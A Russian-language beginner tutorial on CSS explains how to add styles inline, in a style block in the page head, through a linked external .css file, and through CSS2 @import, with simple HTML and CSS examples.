Если вы решили продавать содержимое сайта или просто ограничить доступ к некоторой его части по паролю, то имеется возможность контролировать этот процесс с помощью PHP. Вопрос авторизации решается в PHP элегантно и просто.


Основы CSS. Вставка описания

Описание стилей вставляется тремя способами. Отметим сразу, что приоритетным является то описание, что ближе к обьекту.

первый способ.
Описание стиля вставляется непосредственно в обьект.Например для текста:

<FONT style="font-family: Sans Serif,tahoma,
Verdana, Arial; SIZE: 14px;
FONT-WEIGHT: bold;
color: #00A400; ">Пример стиля</FONT>

Пример стиля

Для формы:

<INPUT TYPE=TEXT
NAME=ooo
style="font-family: Sans Serif,
tahoma,Verdana, Arial;
SIZE: 14px; FONT-WEIGHT: bold;
color: #00F0FF;
background-color: #00007B;"
VALUE= пример ALIGN= пример
size=20 MAXLENGTH=20>

Примерно так-же описываются и другие обьекты: таблицы, ячейки, кнопки, рисунки, параграфы, DIV-ы, почти все. Разница только в параметрах, указываемых в описании.

Пишем прямо в ТЭГ:

style="font-family: Sans Serif,
tahoma,Verdana, Arial; SIZE: 14px;
FONT-WEIGHT: bold;
color: #00F0FF; background-color: #00007B;

Или по русски:
пишем style=" описание стиля 1; описание стиля 2; "
Новички! Не пугайтесь. Какому обьекту что можно прописать смотрите в следующих статьях.

второй способ.
Этот способ наиболее часто встречается в оформлении страниц так как дает возможность указать стилевые спецификации для всех обьектов страницы.
Вставляем между HEAD и /HEAD:

<style type=text/css>

</style>

В "описание стилей" вставляем все описания, которые нам нужны на данной странице. Обратите внимание на синтаксис - значки комментариев ставятся для броузеров не поддерживающих CSS.

третий способ.

Этот способ наиболее соответствует всей концепции CSS. Именно он позволяет указать стили для многих страниц сразу.
Описание стилей размещается в отдельном файле.
В HEAD вставляем:

<link rel="stylesheet" type="text/css"
href="styl.css">

Это ссылка на файл со стилями, указывающая браузеру на использование стилей. При встрече такой ссылки браузер обращается к вашему файлу со стилями, размещенному по адресу:"styl.css". Файл можно назвать как угодно, главное, чтобы он был в формате "css" и имена в ссылке и файла совпадали.
Например:

<link rel="stylesheet" type="text/css"
href="petrovich.css">
для файла "petrovich.css"

Файл CSS изготовить очень просто. В файле пишем то-же самое, что было между "style type=text/css" и "/style" во втором способе. Можно использовать простой стандартный "БЛОКНОТ", установленный на всех WIN. Открываем блокнот и пишем, например:

<!- -
body{background-color:#000000;
font-family: MS Sans Serif, tahoma, Verdana, Arial;
FONT-SIZE: 10px; color:#00EFFF}
A { color :#00E1FF;
FONT-FAMILY: Verdana, Arial;
text-decoration:underline; FONT-SIZE: 8pt;}
A:Hover { color :#FF0000;
text-decoration: underline;}
- ->

Вот прямо так и пишем. Больше ничего. Не вдавайтесь в подробности написанного, поймите саму схему! Написали что хотели. Теперь находим у "БЛОКНОТА" кнопку "ФАЙЛ" и выбираем "СОХРАНИТЬ КАК,,,". Выбираем "ВСЕ ФАЙЛЫ" и пишем в строке для названия файлов:natali.css natali - это имя Вашего файла. Обязательно ставим точку и пишемcss маленькими буквами. Теперь осталось только нажать на кнопку "СОХРАНИТЬ". (Не забудте перед нажатием найти ту папку, в которой будет этот файл.) Вот и все!

Файл в HEAD будет выглядеть так: <link rel="stylesheet" type="text/css" href="natali.css">
Файл CSS, как Вы понимаете сами, может размещаться и в другой папке. Тогда в "link" указываем тот адрес, по которому он находится.

Обратите внимание!

Если вы задали описание одной характеристики стиля одного обьекта двумя или тремя способами(например, в самом обьекте и в отдельном CSS-файле), то выполняться будет то описание, которое ближе к обьекту(в данном случае - стиль в самом обьекте)!

Кроме того, можно описать стили во внешнем файле а по ходу создания сайта вписывать дополнения на страницу. С тем же успехом можно сразу вставить описание и во внешний файл, но если вам надо задать описание только одного обьекта и только одного параметра, можно и на страничке оставить. Система описаний довольно гибкая...

Дополнение
В CSS2 принят несколько иной метод включения описаний стилей из внешнего файла:

@import "subs.css";

Броузеры, понимающие CSS2 отлично работают и с CSS1, пока, во всяком случае, так что можно пользоваться и более традиционными методами. Однако, подобный способ можно применить для вставки тех описаний стилей, которые будут понятны только при поддержке CSS2.